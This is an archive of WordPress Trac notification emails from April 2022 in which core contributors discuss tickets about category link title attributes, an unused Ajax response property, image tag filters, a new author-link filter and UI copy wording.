Message-ID: <068.a641ae71d6179f3a4e69028a795a3958@wordpress.org> #55554: Block heading disappears when it's white color -------------------------------+-------------------------------- Reporter: mehedi890 | Owner: (none) Type: defect (bug) | Status: new Priority: normal | Milestone: Awaiting Review Component: Editor | Version: 5.9.3 Severity: normal | Resolution: Keywords: reporter-feedback | Focuses: ui, accessibility -------------------------------+-------------------------------- Changes (by azouamauriac): * keywords: => reporter-feedback Comment: Hi there welcome to trac! thanks for the report. But unless I'm missing something, isn't normal that when you choose white text color on white background the text does not show again? Please, by "Block heading disappears", what do you mean? the block doesn't exist anymore in the editor? or the text is there, but is unreadable because of white color? Thanks. -- Ticket URL: <https://core.trac.wordpress.org/ticket/55554#comment:1> WordPress Trac <https://core.trac.wordpress.org/> WordPress publishing platform From noreply at wordpress.org Mon Apr 11 22:59:24 2022 From: noreply at wordpress.org (WordPress Trac) Date: Mon, 11 Apr 2022 22:59:24 -0000 Subject: [wp-trac] [WordPress Trac] #54561: Avoid translating several times widget media default strings In-Reply-To: <050.8194aa47e159010e88e89c613a42c1b9@wordpress.org> References: <050.8194aa47e159010e88e89c613a42c1b9@wordpress.org> Message-ID: <065.0a13c7bd4a1dd88f18aecac8becf6d3a@wordpress.org> #54561: Avoid translating several times widget media default strings -------------------------+-------------------------- Reporter: Chouby | Owner: audrasjb Type: enhancement | Status: reviewing Priority: normal | Milestone: 6.0 Component: Widgets | Version: 4.8 Severity: normal | Resolution: Keywords: has-patch | Focuses: performance -------------------------+-------------------------- Comment (by peterwilsoncc): @audrasjb I think you'd need to add a reset method `reset_default_labels()` similar to the one in `WP_Post_Type` and then hook on to that in default-filters. -- Ticket URL: <https://core.trac.wordpress.org/ticket/54561#comment:12> WordPress Trac <https://core.trac.wordpress.org/> WordPress publishing platform From noreply at wordpress.org Mon Apr 11 23:08:04 2022 From: noreply at wordpress.org (WordPress Trac) Date: Mon, 11 Apr 2022 23:08:04 -0000 Subject: [wp-trac] [WordPress Trac] #55530: Category archive links include description in a title attribute by default In-Reply-To: <059.6acff70e0a9b08abe702c78b0bba3416@wordpress.org> References: <059.6acff70e0a9b08abe702c78b0bba3416@wordpress.org> Message-ID: <074.62805307fd6bee91d42c0b7134b664bd@wordpress.org> #55530: Category archive links include description in a title attribute by default -------------------------------------------------+------------------------- Reporter: just0nequestion | Owner: (none) Type: enhancement | Status: new Priority: normal | Milestone: Awaiting | Review Component: Taxonomy | Version: Severity: normal | Resolution: Keywords: needs-patch title-attribute good- | Focuses: first-bug | accessibility -------------------------------------------------+------------------------- Comment (by andrija): Hello @sabernhardt, I'd like to tackle this as my first bug. Can you help me brainstorm the best solution, please? Currently, the default value of `use_desc_for_title` is 1. If I set it to 0, then the HTML <a> tag will have no `title` attribute at all. - Should we remove that default arg, then we'll never have the <a> `title` attribute - Should we change the behavior of ''\src\wp-includes\class-walker- category.php:125'' to simply use `$category->name` if `use_desc_for_title` is 1, but that simply sounds wrong - Should we add an `} else {` there so we always have the `title` attribute in the <a> tag, with the `$category->description` if `use_desc_for_title` is 1 and `$category->name` if `use_desc_for_title` is 0 I guess the last solution would work, what do you think? -- Ticket URL: <https://core.trac.wordpress.org/ticket/55530#comment:6> WordPress Trac <https://core.trac.wordpress.org/> WordPress publishing platform From noreply at wordpress.org Mon Apr 11 23:19:07 2022 From: noreply at wordpress.org (WordPress Trac) Date: Mon, 11 Apr 2022 23:19:07 -0000 Subject: [wp-trac] [WordPress Trac] #55530: Category archive links include description in a title attribute by default In-Reply-To: <059.6acff70e0a9b08abe702c78b0bba3416@wordpress.org> References: <059.6acff70e0a9b08abe702c78b0bba3416@wordpress.org> Message-ID: <074.c84813c2d3f28faf07018f6cfb5acaf6@wordpress.org> #55530: Category archive links include description in a title attribute by default -------------------------------------------------+------------------------- Reporter: just0nequestion | Owner: (none) Type: enhancement | Status: new Priority: normal | Milestone: Awaiting | Review Component: Taxonomy | Version: Severity: normal | Resolution: Keywords: needs-patch title-attribute good- | Focuses: first-bug | accessibility -------------------------------------------------+------------------------- Changes (by andrija): * Attachment "55530.diff" added. Default `use_desc_for_title` set to false (0), category walker will always create <a title=""> attribute with category name (default) or category description if `use_desc_for_title` is set to true (1) -- Ticket URL: <https://core.trac.wordpress.org/ticket/55530> WordPress Trac <https://core.trac.wordpress.org/> WordPress publishing platform From noreply at wordpress.org Mon Apr 11 23:20:37 2022 From: noreply at wordpress.org (WordPress Trac) Date: Mon, 11 Apr 2022 23:20:37 -0000 Subject: [wp-trac] [WordPress Trac] #55530: Category archive links include description in a title attribute by default In-Reply-To: <059.6acff70e0a9b08abe702c78b0bba3416@wordpress.org> References: <059.6acff70e0a9b08abe702c78b0bba3416@wordpress.org> Message-ID: <074.5c4c50ccaf47a5ce6bca431f9a57b561@wordpress.org> #55530: Category archive links include description in a title attribute by default -------------------------------------------------+------------------------- Reporter: just0nequestion | Owner: (none) Type: enhancement | Status: new Priority: normal | Milestone: Awaiting | Review Component: Taxonomy | Version: Severity: normal | Resolution: Keywords: needs-patch title-attribute good- | Focuses: first-bug | accessibility -------------------------------------------------+------------------------- Changes (by andrija): * Attachment "55530.2.diff" added. Replaced spaces with tabs -- Ticket URL: <https://core.trac.wordpress.org/ticket/55530> WordPress Trac <https://core.trac.wordpress.org/> WordPress publishing platform From noreply at wordpress.org Mon Apr 11 23:27:05 2022 From: noreply at wordpress.org (WordPress Trac) Date: Mon, 11 Apr 2022 23:27:05 -0000 Subject: [wp-trac] [WordPress Trac] #55078: Remove hardcoded check for edit-tags.php from lib/ajax-response.js In-Reply-To: <058.ad9ebf29f9a2167068d32b7d638bef84@wordpress.org> References: <058.ad9ebf29f9a2167068d32b7d638bef84@wordpress.org> Message-ID: <073.58cbe507f311a827f5605b8bc425f1d7@wordpress.org> #55078: Remove hardcoded check for edit-tags.php from lib/ajax-response.js -------------------------------------+------------------------------------- Reporter: SergeyBiryukov | Owner: joedolson Type: enhancement | Status: closed Priority: normal | Milestone: 6.0 Component: Administration | Version: Severity: normal | Resolution: fixed Keywords: has-patch needs-testing | Focuses: accessibility, commit | javascript -------------------------------------+------------------------------------- Changes (by SergeyBiryukov): * Attachment "55078.4.diff" added. -- Ticket URL: <https://core.trac.wordpress.org/ticket/55078> WordPress Trac <https://core.trac.wordpress.org/> WordPress publishing platform From noreply at wordpress.org Mon Apr 11 23:29:54 2022 From: noreply at wordpress.org (WordPress Trac) Date: Mon, 11 Apr 2022 23:29:54 -0000 Subject: [wp-trac] [WordPress Trac] #55078: Remove hardcoded check for edit-tags.php from lib/ajax-response.js In-Reply-To: <058.ad9ebf29f9a2167068d32b7d638bef84@wordpress.org> References: <058.ad9ebf29f9a2167068d32b7d638bef84@wordpress.org> Message-ID: <073.e5ea57a8afb48b803e1a57e60fbc6c24@wordpress.org> #55078: Remove hardcoded check for edit-tags.php from lib/ajax-response.js -------------------------------------+------------------------------------- Reporter: SergeyBiryukov | Owner: joedolson Type: enhancement | Status: reopened Priority: normal | Milestone: 6.0 Component: Administration | Version: Severity: normal | Resolution: Keywords: has-patch needs-testing | Focuses: accessibility, commit | javascript -------------------------------------+------------------------------------- Changes (by SergeyBiryukov): * status: closed => reopened * resolution: fixed => Comment: Thanks everyone! I don't see a reason for `'data' => $message` to remain, it was only added five months ago in [52170] and never documented anywhere, so should not affect backward compatibility. The duplication might also cause confusion later. I think the test just needs to be updated to check the `supplemental->notice` property instead, see [attachment:"55078.4.diff"]. With this change, the tests pass as expected. -- Ticket URL: <https://core.trac.wordpress.org/ticket/55078#comment:25> WordPress Trac <https://core.trac.wordpress.org/> WordPress publishing platform From noreply at wordpress.org Mon Apr 11 23:37:12 2022 From: noreply at wordpress.org (WordPress Trac) Date: Mon, 11 Apr 2022 23:37:12 -0000 Subject: [wp-trac] [WordPress Trac] #51859: Add filter to get_the_author_link In-Reply-To: <052.69822eaf6bde77cf6ee62ae12a27d833@wordpress.org> References: <052.69822eaf6bde77cf6ee62ae12a27d833@wordpress.org> Message-ID: <067.9c207e47a004163a1fbcf10ceccfc1cd@wordpress.org> #51859: Add filter to get_the_author_link -------------------------------------------------+------------------------- Reporter: dshanske | Owner: | davidbaumwald Type: enhancement | Status: closed Priority: normal | Milestone: 6.0 Component: Formatting | Version: Severity: normal | Resolution: fixed Keywords: has-patch 2nd-opinion has-unit- | Focuses: tests assigned-for-commit | -------------------------------------------------+------------------------- Changes (by davidbaumwald): * status: reviewing => closed * resolution: => fixed Comment: In [changeset:"53147" 53147]: {{{ #!CommitTicketReference repository="" revision="53147" Formatting: Make `get_the_author_link` pluggable. Adds a new filter to alter the output of `get_the_author_link`. This change also adds unit tests for the new filter. Props dshanske, donmhico, audrasjb, peterwilsoncc, SergeyBiryukov. Fixes #51859. }}} -- Ticket URL: <https://core.trac.wordpress.org/ticket/51859#comment:8> WordPress Trac <https://core.trac.wordpress.org/> WordPress publishing platform From noreply at wordpress.org Mon Apr 11 23:40:12 2022 From: noreply at wordpress.org (WordPress Trac) Date: Mon, 11 Apr 2022 23:40:12 -0000 Subject: [wp-trac] [WordPress Trac] #51859: Add filter to get_the_author_link In-Reply-To: <052.69822eaf6bde77cf6ee62ae12a27d833@wordpress.org> References: <052.69822eaf6bde77cf6ee62ae12a27d833@wordpress.org> Message-ID: <067.e5c44114f84d6b70d1f4b7cd811a1e90@wordpress.org> #51859: Add filter to get_the_author_link -------------------------------------------------+------------------------- Reporter: dshanske | Owner: | davidbaumwald Type: enhancement | Status: closed Priority: normal | Milestone: 6.0 Component: Formatting | Version: Severity: normal | Resolution: fixed Keywords: has-patch has-unit-tests needs-dev- | Focuses: note | -------------------------------------------------+------------------------- Changes (by davidbaumwald): * keywords: has-patch 2nd-opinion has-unit-tests assigned-for-commit => has-patch has-unit-tests needs-dev-note Comment: Marking this for at least a small call-out on the Misc Dev Note for the new filter. -- Ticket URL: <https://core.trac.wordpress.org/ticket/51859#comment:11> WordPress Trac <https://core.trac.wordpress.org/> WordPress publishing platform From noreply at wordpress.org Mon Apr 11 23:40:34 2022 From: noreply at wordpress.org (WordPress Trac) Date: Mon, 11 Apr 2022 23:40:34 -0000 Subject: [wp-trac] [WordPress Trac] #55530: Category archive links include description in a title attribute by default In-Reply-To: <059.6acff70e0a9b08abe702c78b0bba3416@wordpress.org> References: <059.6acff70e0a9b08abe702c78b0bba3416@wordpress.org> Message-ID: <074.f26dc39278e20c9bf96927537da7bb09@wordpress.org> #55530: Category archive links include description in a title attribute by default -------------------------------------------------+------------------------- Reporter: just0nequestion | Owner: (none) Type: enhancement | Status: new Priority: normal | Milestone: Awaiting | Review Component: Taxonomy | Version: Severity: normal | Resolution: Keywords: title-attribute good-first-bug has- | Focuses: patch | accessibility -------------------------------------------------+------------------------- Changes (by andrija): * keywords: needs-patch title-attribute good-first-bug => title-attribute good-first-bug has-patch -- Ticket URL: <https://core.trac.wordpress.org/ticket/55530#comment:7> WordPress Trac <https://core.trac.wordpress.org/> WordPress publishing platform From noreply at wordpress.org Mon Apr 11 23:41:55 2022 From: noreply at wordpress.org (WordPress Trac) Date: Mon, 11 Apr 2022 23:41:55 -0000 Subject: [wp-trac] [WordPress Trac] #55510: The `wp_content_img_tag` filter can appear to run twice when used to wrap image tags In-Reply-To: <057.11e6dbf516bdb1288e9082093e4cebd4@wordpress.org> References: <057.11e6dbf516bdb1288e9082093e4cebd4@wordpress.org> Message-ID: <072.50489d110cc7cfa7fd42df44790384ba@wordpress.org> #55510: The `wp_content_img_tag` filter can appear to run twice when used to wrap image tags ------------------------------------------+----------------------- Reporter: peterwilsoncc | Owner: flixos90 Type: defect (bug) | Status: assigned Priority: normal | Milestone: 6.0 Component: Media | Version: Severity: normal | Resolution: Keywords: needs-patch needs-unit-tests | Focuses: ------------------------------------------+----------------------- Comment (by flixos90): @peterwilsoncc @pbearne The problem indeed occurs when the exact same image tag is included in the content multiple times. This has not been a problem for WordPress core itself, since it will adjust the "duplicate" image tag in the same way. The following `str_replace()` (which by definition replaces all occurrences in the content) will technically not do anything since the unmodified image tag has already been replaced throughout the content before. When wrapping an image tag without further modifying it though, it means that even after the replacement the original image tag remains in the content, hence the duplicate filter run replaces it again (which in case of a filter that wants to wrap the image with `<span><img /></span>` will get `<span><span><img /></span></span>`. So while this is now a bug, it technically has always been a somewhat wasteful implementation, re-running the logic unnecessarily for duplicate instances of the same image tag. Fortunately there's an easy fix for it: We can simply unset the respective lookup key in the `$images` variable within `wp_filter_content_tags()` to not process the same tag again. Note that we should make the same fix for iframes. They don't have a filter so this is technically not a bug there, but still just as wasteful. -- Ticket URL: <https://core.trac.wordpress.org/ticket/55510#comment:3> WordPress Trac <https://core.trac.wordpress.org/> WordPress publishing platform From noreply at wordpress.org Mon Apr 11 23:45:58 2022 From: noreply at wordpress.org (WordPress Trac) Date: Mon, 11 Apr 2022 23:45:58 -0000 Subject: [wp-trac] [WordPress Trac] #55510: The `wp_content_img_tag` filter can appear to run twice when used to wrap image tags In-Reply-To: <057.11e6dbf516bdb1288e9082093e4cebd4@wordpress.org> References: <057.11e6dbf516bdb1288e9082093e4cebd4@wordpress.org> Message-ID: <072.6171feabc4c0585b7ba438b7dd983cfd@wordpress.org> #55510: The `wp_content_img_tag` filter can appear to run twice when used to wrap image tags ------------------------------------------+----------------------- Reporter: peterwilsoncc | Owner: flixos90 Type: defect (bug) | Status: assigned Priority: normal | Milestone: 6.0 Component: Media | Version: Severity: normal | Resolution: Keywords: needs-patch needs-unit-tests | Focuses: ------------------------------------------+----------------------- Comment (by flixos90): @peterwilsoncc > The same issue will occur if `wp_filter_content_tags()` is run multiple times on the same blob of HTML While I definitely think we need to fix the duplicate logic execution here that causes the bug, calling `wp_filter_content_tags()` twice is a different topic. This is not something that should be done, WP core doesn't do it, and we also expect other `the_content` filters for example to not be run twice. I'd be in favor of fixing the underlying issue of duplicate code execution within a single call to `wp_filter_content_tags()` since that is really the problem here. Whereas calling `wp_filter_content_tags()` twice on the same blob of content would be `_doing_it_wrong` :) -- Ticket URL: <https://core.trac.wordpress.org/ticket/55510#comment:4> WordPress Trac <https://core.trac.wordpress.org/> WordPress publishing platform From noreply at wordpress.org Tue Apr 12 00:00:28 2022 From: noreply at wordpress.org (WordPress Trac) Date: Tue, 12 Apr 2022 00:00:28 -0000 Subject: [wp-trac] [WordPress Trac] #55078: Remove hardcoded check for edit-tags.php from lib/ajax-response.js In-Reply-To: <058.ad9ebf29f9a2167068d32b7d638bef84@wordpress.org> References: <058.ad9ebf29f9a2167068d32b7d638bef84@wordpress.org> Message-ID: <073.7ab6d53519f2f54e653592331b427b66@wordpress.org> #55078: Remove hardcoded check for edit-tags.php from lib/ajax-response.js ----------------------------------+---------------------------------------- Reporter: SergeyBiryukov | Owner: joedolson Type: enhancement | Status: reopened Priority: normal | Milestone: 6.0 Component: Administration | Version: Severity: normal | Resolution: Keywords: has-patch needs- | Focuses: accessibility, javascript testing | ----------------------------------+---------------------------------------- Changes (by peterwilsoncc): * keywords: has-patch needs-testing commit => has-patch needs-testing Comment: @SergeyBiryukov As I mentioned [comment:22 above], any hard deprecations need to bed discussed on a dedicated ticket. I am specifically blocking doing so on random tickets in my role on the 6.0 release squad. I am leaving this ticket to add, not replace, the test for supplemental data. -- Ticket URL: <https://core.trac.wordpress.org/ticket/55078#comment:26> WordPress Trac <https://core.trac.wordpress.org/> WordPress publishing platform From noreply at wordpress.org Tue Apr 12 00:22:41 2022 From: noreply at wordpress.org (WordPress Trac) Date: Tue, 12 Apr 2022 00:22:41 -0000 Subject: [wp-trac] [WordPress Trac] #55078: Remove hardcoded check for edit-tags.php from lib/ajax-response.js In-Reply-To: <058.ad9ebf29f9a2167068d32b7d638bef84@wordpress.org> References: <058.ad9ebf29f9a2167068d32b7d638bef84@wordpress.org> Message-ID: <073.bb718208d6ff83ee0a8dfcc45fadee08@wordpress.org> #55078: Remove hardcoded check for edit-tags.php from lib/ajax-response.js ----------------------------------+---------------------------------------- Reporter: SergeyBiryukov | Owner: joedolson Type: enhancement | Status: reopened Priority: normal | Milestone: 6.0 Component: Administration | Version: Severity: normal | Resolution: Keywords: has-patch needs- | Focuses: accessibility, javascript testing | ----------------------------------+---------------------------------------- Changes (by SergeyBiryukov): * Attachment "55078.5.diff" added. -- Ticket URL: <https://core.trac.wordpress.org/ticket/55078> WordPress Trac <https://core.trac.wordpress.org/> WordPress publishing platform From noreply at wordpress.org Tue Apr 12 00:27:10 2022 From: noreply at wordpress.org (WordPress Trac) Date: Tue, 12 Apr 2022 00:27:10 -0000 Subject: [wp-trac] [WordPress Trac] #55560: Remove unused 'data' property from the Ajax response when adding a new term Message-ID: <058.a4c12eaa2f7c51471b8d6b58d3983a77@wordpress.org> #55560: Remove unused 'data' property from the Ajax response when adding a new term ----------------------------+----------------------- Reporter: SergeyBiryukov | Owner: (none) Type: defect (bug) | Status: new Priority: normal | Milestone: 6.0 Component: Administration | Version: Severity: normal | Keywords: has-patch Focuses: | ----------------------------+----------------------- Background: #42937, #54955, #55078. As part of the changes in [52170] and [52672], a `data` property was added to the Ajax response from `wp_ajax_add_tag()` to display a success notice when adding a new term on taxonomy screens. In [53123], the notice was moved to the `supplemental->notice` property. However, `data` remained due to a failing test and potential backward compatibility concerns. Given that `'data' => $message` was only added to the response five months ago in [52170], never documented anywhere, and never used for anything else, I think removing it should not affect backward compatibility. Leaving it unused and duplicated, on the other hand, might cause confusion later. Attached is a patch from #55078 that removes the property and updates the associated unit test to pass as expected. This will need a refresh once the latest patch on #55078 is committed. -- Ticket URL: <https://core.trac.wordpress.org/ticket/55560> WordPress Trac <https://core.trac.wordpress.org/> WordPress publishing platform From noreply at wordpress.org Tue Apr 12 00:28:33 2022 From: noreply at wordpress.org (WordPress Trac) Date: Tue, 12 Apr 2022 00:28:33 -0000 Subject: [wp-trac] [WordPress Trac] #55560: Remove unused 'data' property from the Ajax response when adding a new term In-Reply-To: <058.a4c12eaa2f7c51471b8d6b58d3983a77@wordpress.org> References: <058.a4c12eaa2f7c51471b8d6b58d3983a77@wordpress.org> Message-ID: <073.989625e3ad9078fb9a0415383b0fa728@wordpress.org> #55560: Remove unused 'data' property from the Ajax response when adding a new term ----------------------------+--------------------- Reporter: SergeyBiryukov | Owner: (none) Type: defect (bug) | Status: new Priority: normal | Milestone: 6.0 Component: Administration | Version: Severity: normal | Resolution: Keywords: has-patch | Focuses: ----------------------------+--------------------- Changes (by SergeyBiryukov): * Attachment "55560.2.diff" added. -- Ticket URL: <https://core.trac.wordpress.org/ticket/55560> WordPress Trac <https://core.trac.wordpress.org/> WordPress publishing platform From noreply at wordpress.org Tue Apr 12 00:28:47 2022 From: noreply at wordpress.org (WordPress Trac) Date: Tue, 12 Apr 2022 00:28:47 -0000 Subject: [wp-trac] [WordPress Trac] #55560: Remove unused 'data' property from the Ajax response when adding a new term In-Reply-To: <058.a4c12eaa2f7c51471b8d6b58d3983a77@wordpress.org> References: <058.a4c12eaa2f7c51471b8d6b58d3983a77@wordpress.org> Message-ID: <058.a4c12eaa2f7c51471b8d6b58d3983a77@wordpress.org> #55560: Remove unused 'data' property from the Ajax response when adding a new term ----------------------------+--------------------- Reporter: SergeyBiryukov | Owner: (none) Type: defect (bug) | Status: new Priority: normal | Milestone: 6.0 Component: Administration | Version: Severity: normal | Resolution: Keywords: has-patch | Focuses: ----------------------------+--------------------- Changes (by SergeyBiryukov): * Attachment "55560.2.diff" removed. -- Ticket URL: <https://core.trac.wordpress.org/ticket/55560> WordPress Trac <https://core.trac.wordpress.org/> WordPress publishing platform From noreply at wordpress.org Tue Apr 12 00:29:11 2022 From: noreply at wordpress.org (WordPress Trac) Date: Tue, 12 Apr 2022 00:29:11 -0000 Subject: [wp-trac] [WordPress Trac] #55560: Remove unused 'data' property from the Ajax response when adding a new term In-Reply-To: <058.a4c12eaa2f7c51471b8d6b58d3983a77@wordpress.org> References: <058.a4c12eaa2f7c51471b8d6b58d3983a77@wordpress.org> Message-ID: <073.2de75c576e9afc9ff574d317842c20de@wordpress.org> #55560: Remove unused 'data' property from the Ajax response when adding a new term ----------------------------+--------------------- Reporter: SergeyBiryukov | Owner: (none) Type: defect (bug) | Status: new Priority: normal | Milestone: 6.0 Component: Administration | Version: Severity: normal | Resolution: Keywords: has-patch | Focuses: ----------------------------+--------------------- Changes (by SergeyBiryukov): * Attachment "55560.2.diff" added. -- Ticket URL: <https://core.trac.wordpress.org/ticket/55560> WordPress Trac <https://core.trac.wordpress.org/> WordPress publishing platform From noreply at wordpress.org Tue Apr 12 00:29:52 2022 From: noreply at wordpress.org (WordPress Trac) Date: Tue, 12 Apr 2022 00:29:52 -0000 Subject: [wp-trac] [WordPress Trac] #55078: Remove hardcoded check for edit-tags.php from lib/ajax-response.js In-Reply-To: <058.ad9ebf29f9a2167068d32b7d638bef84@wordpress.org> References: <058.ad9ebf29f9a2167068d32b7d638bef84@wordpress.org> Message-ID: <073.61a4f1a228d50d532b4a0472ad1ffe66@wordpress.org> #55078: Remove hardcoded check for edit-tags.php from lib/ajax-response.js ----------------------------------+---------------------------------------- Reporter: SergeyBiryukov | Owner: joedolson Type: enhancement | Status: reopened Priority: normal | Milestone: 6.0 Component: Administration | Version: Severity: normal | Resolution: Keywords: has-patch needs- | Focuses: accessibility, javascript testing | ----------------------------------+---------------------------------------- Comment (by SergeyBiryukov): Replying to [comment:26 peterwilsoncc]: > As I mentioned [comment:22 above], any hard deprecations need to bed discussed on a dedicated ticket. Ah, good point, I missed the note about a dedicated ticket. Thanks! Added a new test assertion in [attachment:"55078.5.diff"]. Created #55560 for further discussion. -- Ticket URL: <https://core.trac.wordpress.org/ticket/55078#comment:27> WordPress Trac <https://core.trac.wordpress.org/> WordPress publishing platform From noreply at wordpress.org Tue Apr 12 00:32:45 2022 From: noreply at wordpress.org (WordPress Trac) Date: Tue, 12 Apr 2022 00:32:45 -0000 Subject: [wp-trac] [WordPress Trac] #55560: Remove unused 'data' property from the Ajax response when adding a new term In-Reply-To: <058.a4c12eaa2f7c51471b8d6b58d3983a77@wordpress.org> References: <058.a4c12eaa2f7c51471b8d6b58d3983a77@wordpress.org> Message-ID: <073.bf5fab4d034b671870e48aba9dbb0074@wordpress.org> #55560: Remove unused 'data' property from the Ajax response when adding a new term ----------------------------+--------------------- Reporter: SergeyBiryukov | Owner: (none) Type: defect (bug) | Status: new Priority: normal | Milestone: 6.0 Component: Administration | Version: Severity: normal | Resolution: Keywords: has-patch | Focuses: ----------------------------+--------------------- Description changed by SergeyBiryukov: Old description: > Background: #42937, #54955, #55078. > > As part of the changes in [52170] and [52672], a `data` property was > added to the Ajax response from `wp_ajax_add_tag()` to display a success > notice when adding a new term on taxonomy screens. In [53123], the notice > was moved to the `supplemental->notice` property. However, `data` > remained due to a failing test and potential backward compatibility > concerns. > > Given that `'data' => $message` was only added to the response five > months ago in [52170], never documented anywhere, and never used for > anything else, I think removing it should not affect backward > compatibility. Leaving it unused and duplicated, on the other hand, might > cause confusion later. > > Attached is a patch from #55078 that removes the property and updates the > associated unit test to pass as expected. This will need a refresh once > the latest patch on #55078 is committed. New description: Background: #42937, #54955, #55078. As part of the changes in [52170] and [52672], a `data` property was added to the Ajax response from `wp_ajax_add_tag()` to display a success notice when adding a new term on taxonomy screens. In [53123], the notice was moved to the `supplemental->notice` property. However, `data` remained due to a failing test and potential backward compatibility concerns. Given that `'data' => $message` was only added to the response five months ago in [52170], was never documented anywhere, and never used for anything else, I think removing it should not affect backward compatibility. Leaving it unused and duplicated, on the other hand, might cause confusion later. Attached is a patch from #55078 that removes the property and updates the associated unit test to pass as expected. This will need a refresh once the latest patch on #55078 is committed. -- -- Ticket URL: <https://core.trac.wordpress.org/ticket/55560#comment:1> WordPress Trac <https://core.trac.wordpress.org/> WordPress publishing platform From noreply at wordpress.org Tue Apr 12 00:34:29 2022 From: noreply at wordpress.org (WordPress Trac) Date: Tue, 12 Apr 2022 00:34:29 -0000 Subject: [wp-trac] [WordPress Trac] #55510: The `wp_content_img_tag` filter can appear to run twice when used to wrap image tags In-Reply-To: <057.11e6dbf516bdb1288e9082093e4cebd4@wordpress.org> References: <057.11e6dbf516bdb1288e9082093e4cebd4@wordpress.org> Message-ID: <072.2d8ccece42332a52849c8dbb05eafa87@wordpress.org> #55510: The `wp_content_img_tag` filter can appear to run twice when used to wrap image tags --------------------------------------+----------------------- Reporter: peterwilsoncc | Owner: flixos90 Type: defect (bug) | Status: assigned Priority: normal | Milestone: 6.0 Component: Media | Version: Severity: normal | Resolution: Keywords: has-patch has-unit-tests | Focuses: --------------------------------------+----------------------- Comment (by flixos90): @peterwilsoncc @pbearne I've created the above PR to fix this, ready for your review. -- Ticket URL: <https://core.trac.wordpress.org/ticket/55510#comment:6> WordPress Trac <https://core.trac.wordpress.org/> WordPress publishing platform From noreply at wordpress.org Tue Apr 12 00:37:58 2022 From: noreply at wordpress.org (WordPress Trac) Date: Tue, 12 Apr 2022 00:37:58 -0000 Subject: [wp-trac] [WordPress Trac] #55510: The `wp_content_img_tag` filter can appear to run twice when used to wrap image tags In-Reply-To: <057.11e6dbf516bdb1288e9082093e4cebd4@wordpress.org> References: <057.11e6dbf516bdb1288e9082093e4cebd4@wordpress.org> Message-ID: <072.2717bb5831ce469143b1eb39d6eae5cb@wordpress.org> #55510: The `wp_content_img_tag` filter can appear to run twice when used to wrap image tags --------------------------------------+----------------------- Reporter: peterwilsoncc | Owner: flixos90 Type: defect (bug) | Status: assigned Priority: normal | Milestone: 6.0 Component: Media | Version: Severity: normal | Resolution: Keywords: has-patch has-unit-tests | Focuses: --------------------------------------+----------------------- Comment (by peterwilsoncc): Thanks @flixos90, I'll review the PR with a view to committing this over the next few hours. > While I definitely think we need to fix the duplicate logic execution here that causes the bug, calling `wp_filter_content_tags()` twice is a different topic. This is not something that should be done, WP core doesn't do it, and we also expect other `the_content` filters for example to not be run twice. Agreed. -- Ticket URL: <https://core.trac.wordpress.org/ticket/55510#comment:7> WordPress Trac <https://core.trac.wordpress.org/> WordPress publishing platform From noreply at wordpress.org Tue Apr 12 00:38:58 2022 From: noreply at wordpress.org (WordPress Trac) Date: Tue, 12 Apr 2022 00:38:58 -0000 Subject: [wp-trac] [WordPress Trac] #55530: Category archive links include description in a title attribute by default In-Reply-To: <059.6acff70e0a9b08abe702c78b0bba3416@wordpress.org> References: <059.6acff70e0a9b08abe702c78b0bba3416@wordpress.org> Message-ID: <074.2c1b3047b9679eda785679f6547ba634@wordpress.org> #55530: Category archive links include description in a title attribute by default -------------------------------------------------+------------------------- Reporter: just0nequestion | Owner: (none) Type: enhancement | Status: new Priority: normal | Milestone: Awaiting | Review Component: Taxonomy | Version: Severity: normal | Resolution: Keywords: title-attribute good-first-bug has- | Focuses: patch | accessibility -------------------------------------------------+------------------------- Comment (by sabernhardt): Thanks for the patch! I could have linked to #24766 to explain why many title attributes have been removed. Plus, the category name is already used in the link text, so adding the same in a title attribute would be redundant. -- Ticket URL: <https://core.trac.wordpress.org/ticket/55530#comment:8> WordPress Trac <https://core.trac.wordpress.org/> WordPress publishing platform From noreply at wordpress.org Tue Apr 12 00:59:06 2022 From: noreply at wordpress.org (WordPress Trac) Date: Tue, 12 Apr 2022 00:59:06 -0000 Subject: [wp-trac] [WordPress Trac] #46057: Remove self-references ("we") in text in core In-Reply-To: <055.675410e1a7b30657f2327896dc28409d@wordpress.org> References: <055.675410e1a7b30657f2327896dc28409d@wordpress.org> Message-ID: <070.5024944606daf8484f1dcb00338e3860@wordpress.org> #46057: Remove self-references ("we") in text in core --------------------------------------------------+----------------------- Reporter: johnbillion | Owner: audrasjb Type: enhancement | Status: reopened Priority: normal | Milestone: 6.0 Component: Administration | Version: Severity: minor | Resolution: Keywords: has-patch commit assigned-for-commit | Focuses: ui-copy --------------------------------------------------+----------------------- Changes (by SergeyBiryukov): * status: closed => reopened * resolution: fixed => Comment: Thanks everyone! I think some of the new sentences can be improved a bit further: * "It is also suggested that you should review your Privacy Policy from time to time" → "You should also review your Privacy Policy from time to time" **or** "It is also suggested that you review your Privacy Policy from time to time". * "Before getting started, some information on the database is needed. You will need to know the following items before proceeding." → "Before getting started, some information on the database is required. You will need to know the following items before proceeding." (Replace "''needed''" with "''required''" to avoid tautology.) -- Ticket URL: <https://core.trac.wordpress.org/ticket/46057#comment:30> WordPress Trac <https://core.trac.wordpress.org/> WordPress publishing platform From noreply at wordpress.org Tue Apr 12 01:45:32 2022 From: noreply at wordpress.org (WordPress Trac) Date: Tue, 12 Apr 2022 01:45:32 -0000 Subject: [wp-trac] [WordPress Trac] #46057: Remove self-references ("we") in text in core In-Reply-To: <055.675410e1a7b30657f2327896dc28409d@wordpress.org> References: <055.675410e1a7b30657f2327896dc28409d@wordpress.org> Message-ID: <070.2147c3e9e1721c91af819d42366caa0d@wordpress.org> #46057: Remove self-references ("we") in text in core --------------------------------------------------+----------------------- Reporter: johnbillion | Owner: audrasjb Type: enhancement | Status: reopened Priority: normal | Milestone: 6.0 Component: Administration | Version: Severity: minor | Resolution: Keywords: has-patch commit assigned-for-commit | Focuses: ui-copy --------------------------------------------------+----------------------- Comment (by SergeyBiryukov): In [changeset:"53148" 53148]: {{{ #!CommitTicketReference repository="" revision="53148" I18N: Remove `wp-config.php` file name from translatable strings. Follow-up to [35547], [35557], [53131]. See #46057. }}} -- Ticket URL: <https://core.trac.wordpress.org/ticket/46057#comment:31> WordPress Trac <https://core.trac.wordpress.org/> WordPress publishing platform From noreply at wordpress.org Tue Apr 12 01:50:36 2022 From: noreply at wordpress.org (WordPress Trac) Date: Tue, 12 Apr 2022 01:50:36 -0000 Subject: [wp-trac] [WordPress Trac] #55530: Category archive links include description in a title attribute by default In-Reply-To: <059.6acff70e0a9b08abe702c78b0bba3416@wordpress.org> References: 